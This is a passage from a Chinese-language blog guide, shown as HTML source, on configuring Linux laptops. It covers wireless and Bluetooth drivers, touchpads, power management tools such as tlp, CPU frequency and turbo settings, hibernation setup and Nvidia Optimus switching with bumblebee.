&lt;p&gt;还可以尝试&lt;code&gt;linux-firmware-iwlwifi&lt;&#x2F;code&gt;(也可能名为&lt;code&gt;firmware-iwlwifi&lt;&#x2F;code&gt;) ，此软件包为intel相关网卡驱动。&lt;&#x2F;p&gt;
&lt;p&gt;一些网卡可能需要寻找相应的驱动，可到其官网寻找支持，或者以网卡名、具体型号加firmware作为关键字搜索解决方案。可使用&lt;code&gt;lspci | grep Network&lt;&#x2F;code&gt;查看具体显卡情况。&lt;&#x2F;p&gt;
&lt;p&gt;其他解决思路：换网卡；使用免驱动安装的usb网卡。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lan-ya&quot;&gt;蓝牙&lt;&#x2F;h3&gt;
&lt;p&gt;一般地，安装&lt;code&gt;bluez&lt;&#x2F;code&gt;即可，一些发行版会默认安装此包，如果安装主流的桌面环境，也会自动安装它。&lt;&#x2F;p&gt;
&lt;p&gt;特别的驱动解决思路参考上文“wi-fi”。&lt;&#x2F;p&gt;
&lt;p&gt;可以参考这篇文章- &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Bluetooth_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;archwifi-蓝牙&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;strong&gt;rfkill&lt;&#x2F;strong&gt;：某些情况下，wifi或者蓝牙被关闭（尤其是硬关闭）但是又找不打开的方法，可以使用&lt;code&gt;rfkill&lt;&#x2F;code&gt;这个工具解决，常用命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;rfkill list    #查看所有无线设备的状态rfkill unblock all    #启用所有设备rfkill --help    #查看rfkill相关命令
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;hong-mo-ban&quot;&gt;触摸板&lt;&#x2F;h3&gt;
&lt;p&gt;一般安装桌面环境（如gnome、plasma等等）会自动安装上触摸板相关驱动；如果使用的一些窗口管理器（如i3wm、awesom）则可能需要自行安装。&lt;&#x2F;p&gt;
&lt;p&gt;安装驱动 &lt;code&gt; xf86-input-synaptics&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果从其他桌面环境改用gnome作为桌面环境，则要用&lt;code&gt;libinput&lt;&#x2F;code&gt; 替换掉 &lt;code&gt; xf86-input-synaptics&lt;&#x2F;code&gt; （GNOME 目前不再支持 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Synaptics&quot;&gt;synaptics&lt;&#x2F;a&gt;），卸载掉 &lt;code&gt;xf86-input-synaptics&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dian-yuan-guan-li&quot;&gt;电源管理&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;dian-yuan-guan-li-gong-ju&quot;&gt;电源管理工具&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;桌面环境的电源管理工具
桌面环境一般都有自己的电源管理工具，可设置对各种使用行为响应的电源动作 ，如使用电池时的亮度、灭屏时间、挂起时间、睡眠时间、盖上笔记本盖子的响应动作、按下电源键的响应动作等等。
可参看下文&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;12623655.html#%E7%94%B5%E6%BA%90%E7%9B%B8%E5%85%B3%E8%A1%8C%E4%B8%BA%E7%9A%84%E5%93%8D%E5%BA%94%E5%8A%A8%E4%BD%9C&quot;&gt;电源相关行为的响应动作&lt;&#x2F;a&gt;进行一些更为详细或者电源管理工具为提供的设置，推荐配合tlp或laptop-mode-tools使用。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linrunner&#x2F;TLP&quot;&gt;tlp&lt;&#x2F;a&gt;
多功能电源管理工具，其默认配置已经针对常见使用情况进行优化，安装后执行&lt;code&gt;systemctl enable tlp&lt;&#x2F;code&gt; 使其开启自启动即可。如需进行更多配置，可修改&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;default&#x2F;tlp&quot;&gt;&#x2F;etc&#x2F;default&#x2F;tlp&lt;&#x2F;a&gt; 文件。另可再安装tlp-rdw用以设置无线设备。
可参看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;linrunner.de&#x2F;en&#x2F;tlp&#x2F;docs&#x2F;tlp-configuration.html#rdw&quot;&gt;tlp英文文档&lt;&#x2F;a&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rickysarraf&#x2F;laptop-mode-tools&quot;&gt;laptop-mode-tools&lt;&#x2F;a&gt;
让内核开启适合的笔记本电脑的模式以达到相关电源控制的目的。功能较多，配置较tlp复杂，和tlp二选一即可。
可参看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Laptop_Mode_Tools_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#.E5.9B.BA.E6.80.81.E7.A1.AC.E7.9B.98&quot;&gt;archwiki-Laptop Mode Tools (简体中文)&lt;&#x2F;a&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fenrus75&#x2F;powertop&quot;&gt;powertop&lt;&#x2F;a&gt;    intel处理器使用的电源管理工具。
使用&lt;code&gt;sudo powertop --auto-tune&lt;&#x2F;code&gt;可启用所有选项，欲开机自启动&lt;code&gt;auto-tune&lt;&#x2F;code&gt;参看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Powertop_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;powertop(简体中文)&lt;&#x2F;a&gt; 。
提示：如果使用了tlp和laptop-mode-tools，几乎没必要再启用该工具，前二者功能覆盖了powertop的设置项。&lt;&#x2F;li&gt;
&lt;li&gt;thermald
一个用于防止平台过热的守护进程。此守护进程会监控平台温度，并采用可用的冷却方式来降低温度。该软件安装即可，无需额外设置。
提示：该工具&lt;strong&gt;可能&lt;&#x2F;strong&gt;过早启用风扇或风扇转速更快，从而带来较原使用情况下更大的噪音，宜根据设备具体情况和个人使用体验考虑是否使用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;dian-yuan-xiang-guan-xing-wei-de-xiang-ying-dong-zuo&quot;&gt;电源相关行为的响应动作&lt;&#x2F;h3&gt;
&lt;p&gt;这些行为及响应动作多能在桌面环境的电源管理工具中进行设置，参看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;12623655.html#%E7%BB%BC%E5%90%88%E5%9E%8B%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E5%B7%A5%E5%85%B7&quot;&gt;综合型电源管理工具&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;an-jian-he-gai-zi-de-xiang-ying-dong-zuo&quot;&gt;按键和盖子的响应动作&lt;&#x2F;h4&gt;
&lt;p&gt;针对按下电源相关按钮（如挂起&#x2F;休眠&#x2F;电源等按键）和盖上笔记本盖子等行为而响应的电源动作。&lt;&#x2F;p&gt;
&lt;p&gt;systemd 能够处理某些电源相关的事件，编辑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;systemd&#x2F;logind.conf&quot;&gt;&#x2F;etc&#x2F;systemd&#x2F;logind.conf &lt;&#x2F;a&gt;可进行配置，其主要包含以下事件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;HandlePowerKey：按下电源键&lt;&#x2F;li&gt;
&lt;li&gt;HandleSleepKey：按下挂起键&lt;&#x2F;li&gt;
&lt;li&gt;HandleHibernateKey: 按下休眠键&lt;&#x2F;li&gt;
&lt;li&gt;HandleLidSwitch：合上笔记本盖&lt;&#x2F;li&gt;
&lt;li&gt;HandleLidSwitchDocked：插上扩展坞或者连接外部显示器情况下合上笔记本盖子&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;取值可以是 ignore、poweroff、reboot、halt、suspend、hibernate、hybrid-sleep、lock 或 kexec。&lt;&#x2F;p&gt;
&lt;p&gt;其中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;poweroff和halt均是关机（具体实现有区别）&lt;&#x2F;li&gt;
&lt;li&gt;supspend是挂起（暂停），设备通电，内容保存在内存中&lt;&#x2F;li&gt;
&lt;li&gt;hybernate是休眠，设备断电（同关机状态），内容保存在硬盘中&lt;&#x2F;li&gt;
&lt;li&gt;hybrid-sleep是混合睡眠，设备通电，内容保存在硬盘和内存中&lt;&#x2F;li&gt;
&lt;li&gt;lock是锁屏&lt;&#x2F;li&gt;
&lt;li&gt;kexec是从当前正在运行的内核直接引导到一个新内核（多用于升级了内核的情况下）&lt;&#x2F;li&gt;
&lt;li&gt;ignore是忽略该动作，即不进行任何电源事件响应&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意，系统默认设置为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;HandlePowerKey=poweroff    #按下电源键关机HandleSuspendKey=suspend    #按下挂起键挂起（暂停）HandleHibernateKey=hibernate    #按下休眠键休眠la=suspend    #盖上笔记本盖子挂起
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如要设置盖上笔记本盖子进行休眠，在该文件中配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;HandleLidSwitch=hibernate
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存文件后，执行 &lt;code&gt;systemctl restart systemd-logind&lt;&#x2F;code&gt; 使其生效。&lt;&#x2F;p&gt;
&lt;p&gt;注意：&lt;strong&gt;一些Linux发行版可能需要自行对休眠进行配置，参考后文&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;%E4%BC%91%E7%9C%A0%E9%85%8D%E7%BD%AE&quot;&gt;休眠配置&lt;&#x2F;a&gt;**，或者借助pm-utils之类的工具实现。
桌面环境带有的电源管理工具能管理上述（部分）动作的电源响应事件。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;dian-chi-di-dian-liang-de-xiang-ying-dong-zuo&quot;&gt;电池低电量的响应动作&lt;&#x2F;h4&gt;
&lt;p&gt;如希望在电池电量极低的时候自动关机，可以通过修改&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;UPower&#x2F;UPower.conf&quot;&gt;&#x2F;etc&#x2F;UPower&#x2F;UPower.conf&lt;&#x2F;a&gt;相关配置，示例，在电量低至%5时自动休眠：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;PercentageLow=15  #&amp;lt;=15%低电量PercentageCritical=10  #&amp;lt;=10%警告电量PercentageAction=5  #&amp;lt;=5%执行动作（即CriticalPowerAction)的电量CriticalPowerAction=PowerOff #(在本示例中是电量&amp;lt;=5%）执行休眠
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CriticalPowerAction的取值有Poweroff、Hibernate和Hybid-sleep。&lt;&#x2F;p&gt;
&lt;p&gt;更多配置项参考该文件中的说明。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chu-li-qi-diao-zheng&quot;&gt;处理器调整&lt;&#x2F;h3&gt;
&lt;p&gt;使一般是降低频率以&lt;strong&gt;减少发热&lt;&#x2F;strong&gt;，同时&lt;strong&gt;降低风扇&lt;&#x2F;strong&gt;转速以减少&lt;strong&gt;噪音&lt;&#x2F;strong&gt;，并&lt;strong&gt;提升&lt;&#x2F;strong&gt;笔记本的电池&lt;strong&gt;续航&lt;&#x2F;strong&gt;时间。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;&#x2F;sys&#x2F;devices&#x2F;system&#x2F;cpu&lt;&#x2F;code&gt;目录下有着cpu相关信息。&lt;&#x2F;p&gt;
&lt;p&gt;如intel处理器的设备，其系统在&lt;code&gt;&#x2F;sys&#x2F;devices&#x2F;system&#x2F;cpu&#x2F;intel_pstate&lt;&#x2F;code&gt; 目录下（可能存在）的文件规定着cpu运行频率相关参数，如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;max_perf_pct    最高频率百分比，数字0 - 100&lt;&#x2F;li&gt;
&lt;li&gt;min_perf_pct    最低频率百分比，数字0 - 100&lt;&#x2F;li&gt;
&lt;li&gt;no_turbo    睿频开启状态，数字0或1，1表示关闭&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;diao-pin-gong-ju&quot;&gt;调频工具&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;cpupower&lt;&#x2F;strong&gt;属于Linux内核工具系列，但有的发行版不一定会默认安装。&lt;&#x2F;p&gt;
&lt;p&gt;执行&lt;code&gt;cpupower frequency-info&lt;&#x2F;code&gt; 可查看到相关信息，&lt;code&gt;cpupower set&lt;&#x2F;code&gt;可进行频率设置。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;cpupower-gui    图形界面的cpupower&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;martin31821&#x2F;cpupower&quot;&gt;gnome-shell-extension-cpupower&lt;&#x2F;a&gt;    可在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;945&#x2F;cpu-power-manager&#x2F;&quot;&gt;Gnome 插件网站&lt;&#x2F;a&gt;找到此插件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一般搜索cpupower、freq、cpu加freq等关键字可以找到此类工具。&lt;&#x2F;p&gt;
&lt;p&gt;示例：使用cpupower控制频率&lt;&#x2F;p&gt;
&lt;p&gt;编辑&#x2F;etc&#x2F;default&#x2F;cpupower，找到&lt;code&gt;min_freq&lt;&#x2F;code&gt;.&lt;code&gt;max_freq&lt;&#x2F;code&gt; 这两行，去掉其注释的&lt;code&gt;#&lt;&#x2F;code&gt;， 填写好频率并保存&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;min_freq=&amp;quot;0.25GHz&amp;quot;    #最小频率max_freq=&amp;quot;2.5GHz&amp;quot;    #最大频率
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行&lt;code&gt;systemctl enable cpupower.service&lt;&#x2F;code&gt; 使其生效。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;guan-bi-rui-pin&quot;&gt;关闭睿频&lt;&#x2F;h4&gt;
&lt;p&gt;可使用命令 ：&lt;code&gt;cat &#x2F;sys&#x2F;devices&#x2F;system&#x2F;cpu&#x2F;intel_pstate&#x2F;no_turbo&lt;&#x2F;code&gt; 查看睿频开启状态，如果显示0则表示开启睿频，显示1则表是关闭睿频。（intel）&lt;&#x2F;p&gt;
&lt;p&gt;一些关闭睿频的方法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果bios支持，在bios中设置。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用工具，如上文提到的工具cpupower-gui，图形界面，操作简单。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;root执行&lt;code&gt; echo 1 &amp;gt; &#x2F;sys&#x2F;devices&#x2F;system&#x2F;cpu&#x2F;intel_pstate&#x2F;no_turbo&lt;&#x2F;code&gt; （重启后会恢复睿频）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用&lt;strong&gt;tlp&lt;&#x2F;strong&gt;（推荐）或&lt;strong&gt;laptop-mode-tools&lt;&#x2F;strong&gt;等电源管理工具
如tlp，编辑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;default&#x2F;tlp&quot;&gt;&#x2F;etc&#x2F;default&#x2F;tlp&lt;&#x2F;a&gt;，找到其中的两行CPU_BOOST，修改为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;CPU_BOOST_ON_AC=0   #0表示关闭 1表示开启CPU_BOOST_ON_BAT=0    #同上
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;intel-pstate&quot;&gt;intel_pstate&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;只针对intel处理器中&lt;strong&gt;SandyBridge（含IvyBridge）及更新的构架&lt;&#x2F;strong&gt;的CPU。intel构架列表：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_Intel_CPU_microarchitectures&quot;&gt;List of Intel CPU microarchitectures&lt;&#x2F;a&gt;。援引：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Linux内核&lt;&#x2F;strong&gt;对CPU的工作频率管理，已经跟不上现代的CPU的需求，无法在效能与省电取得平衡，所以intel自己写了一段内核代 码，Intel_pstate……内核3.13中，已经放入这段代码，但没有默认启用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;启用方法：
编辑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;default&#x2F;grub&quot;&gt;&#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;a&gt;，在&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;&#x2F;code&gt;一行添加&lt;code&gt;intel_pstate=enable&lt;&#x2F;code&gt;，例如该行原有内容是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;GRUB_CMDLINE_LINUX_DEFAULT=”quiet”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;添加添加&lt;code&gt;intel_pstate=enable&lt;&#x2F;code&gt;后即是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;GRUB_CMDLINE_LINUX_DEFAULT=”quiet intel_pstate=enable”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然后执行&lt;code&gt;sudo grub-mkconfig -o &#x2F;boot&#x2F;grub&#x2F;grub.cfg&lt;&#x2F;code&gt; ，重启生效。
检查：执行&lt;code&gt;cat &#x2F;sys&#x2F;devices&#x2F;system&#x2F;cpu&#x2F;cpu*&#x2F;cpufreq&#x2F;scaling_driver&lt;&#x2F;code&gt;，如果显示&lt;code&gt;intel_pstate&lt;&#x2F;code&gt;则表示启用成功，否则是未启用成功或不支持该功能。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xiu-mian-pei-zhi&quot;&gt;休眠配置&lt;&#x2F;h3&gt;
&lt;p&gt;如果桌面环境无休眠相关选项，可参考以下方法手动配置。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;合适大小的swap
休眠（hibernate）需要将内存中的内容写入磁盘的swap，如果swap大小比当前休眠所需空间小，则无法保证能够正确地休眠。具体的swap的大小根据个人使用情况（要休眠时的内存占用）而定。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在bootloader 中增加resume内核参数
假如使用swap文件为&#x2F;home&#x2F;swap，需要编辑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;default&#x2F;grub&quot;&gt;&#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;a&gt; 文件，在&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;&#x2F;code&gt;中添加&lt;code&gt;resume=&#x2F;home&#x2F;swap&lt;&#x2F;code&gt;，让系统在启动时读取swap分区中的内容。（如果使用swap分区，则resume对应的为swap的盘符，例如&#x2F;dev&#x2F;sdc）
例如该行的原有内容是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;GRUB_CMDLINE_LINUX_DEFAULT=”quiet intel_pstate=enable”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;添加resume参数后就是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet intel_pstate=enable resume=&#x2F;home&#x2F;swap&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;然后更新 grub 配置 &lt;code&gt;grub-mkconfig -o &#x2F;boot&#x2F;grub&#x2F;grub.cfg&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置 initramfs的resume钩子
编辑&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jaycethanks&#x2F;p&#x2F;config&#x2F;etc&#x2F;mkinitcpio.conf&quot;&gt;&#x2F;etc&#x2F;mkinitcpio.conf&lt;&#x2F;a&gt;，在&lt;code&gt;HOOKS&lt;&#x2F;code&gt;行中添加&lt;code&gt;resume&lt;&#x2F;code&gt;钩子，例如该行原有内容是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;HOOKS=&quot;base udev autodetect modconf block filesystems keyboard fsck&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;添加&lt;code&gt;resume&lt;&#x2F;code&gt;后就是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;HOOKS=&quot;base udev resume autodetect modconf block filesystems keyboard fsck&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：如果使用lvm分区，需要将&lt;code&gt;resume&lt;&#x2F;code&gt;放在&lt;code&gt;lvm2&lt;&#x2F;code&gt;后面，示例：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;HOOKS=&quot;base udev autodetect modconf block lvm2 resume filesystems keyboard fsck&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;重新生成 initramfs 镜像: &lt;code&gt;mkinitcpio -p linux&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;xian-qia-guan-li&quot;&gt;显卡管理&lt;&#x2F;h3&gt;
&lt;p&gt;amd使用开源mesa（无需额外配置）即可，以下描述中的独显均指Linus钦点的F**k Nvidia，且只讨论显卡用于图像输出的问题。&lt;&#x2F;p&gt;
&lt;p&gt;参看&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;NVIDIA&quot;&gt;archwiki-NVIDIA&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;xian-qia-qie-huan-optimus&quot;&gt;显卡切换Optimus&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;NVIDIA_Optimus&quot;&gt;archwiki-NVIDIA_Optimus&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Nvidia Optimus技术可根据需求在集成GPU和Nvidia GPU之间实时无缝切换，已达到节能省电的目的（因此在笔记本电脑上有使用该技术的需求），但在Linux下该功能的实现效果较差。&lt;&#x2F;p&gt;
&lt;p&gt;如果BIOS支持选择输出显卡，可在BIOS中选择使用指定卡（但不是所有设备都具有该功能），例如只使用集成显卡或独立显卡。&lt;&#x2F;p&gt;
&lt;p&gt;目前Optimus可选方案：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;由NVIDIA提供的Optimus方案，性能好，但目前bug丛生。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;放弃NVIDIA驱动，改用开源nouveau驱动，其PRIME技术可实现Optimus，但性能差。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用第三方程序&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Bumblebee_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&quot;&gt;bumblebee&lt;&#x2F;a&gt;　稳定、配置简单、使用较方便，（使用NVIDIA运行程序时）性能比不上官方Optimus。
一般会配合&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Bumblebee-Project&#x2F;bbswitch&quot;&gt;bbswitch&lt;&#x2F;a&gt;使用，默认情况下使用bbswitch禁用NVIDIA，需要运行使用NVIDIA的程序时，使用特定的命令运行该程序。
安装bumblebee和bbswitch，并启用&lt;code&gt;bumblebeed&lt;&#x2F;code&gt;服务，此外还需要将用户加入到bumblebee组中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;pacman -S bumblebee bbswitch --noconfirm  #以archlinux为例usermod -aG bumblebee ${whoami}  #需要将普通用户加入bumblebee组systemctl enable bumblebeed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可根据需要编辑bumblebee配置文件&lt;code&gt;&#x2F;etc&#x2F;bumblebee&#x2F;bumblebee.conf&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;需要使用NVDIA运行程序时，可使用以下方案单独运行该程序：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;optirun&lt;&#x2F;code&gt;
Bumblee中的命令，使用&lt;code&gt;optirun [options] &amp;lt;application&amp;gt;&lt;&#x2F;code&gt;运行程序。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;primusrun&lt;&#x2F;code&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;amonakov&#x2F;primus&quot;&gt;primus&lt;&#x2F;a&gt;方案
比optirun性能更好，使用&lt;code&gt;primusrun [options] &amp;lt;application&amp;gt;&lt;&#x2F;code&gt;运行程序。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pvkrun&lt;&#x2F;code&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;felixdoerre&#x2F;primus_vk&quot;&gt;primus_vk&lt;&#x2F;a&gt;方案 支持vulkan&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
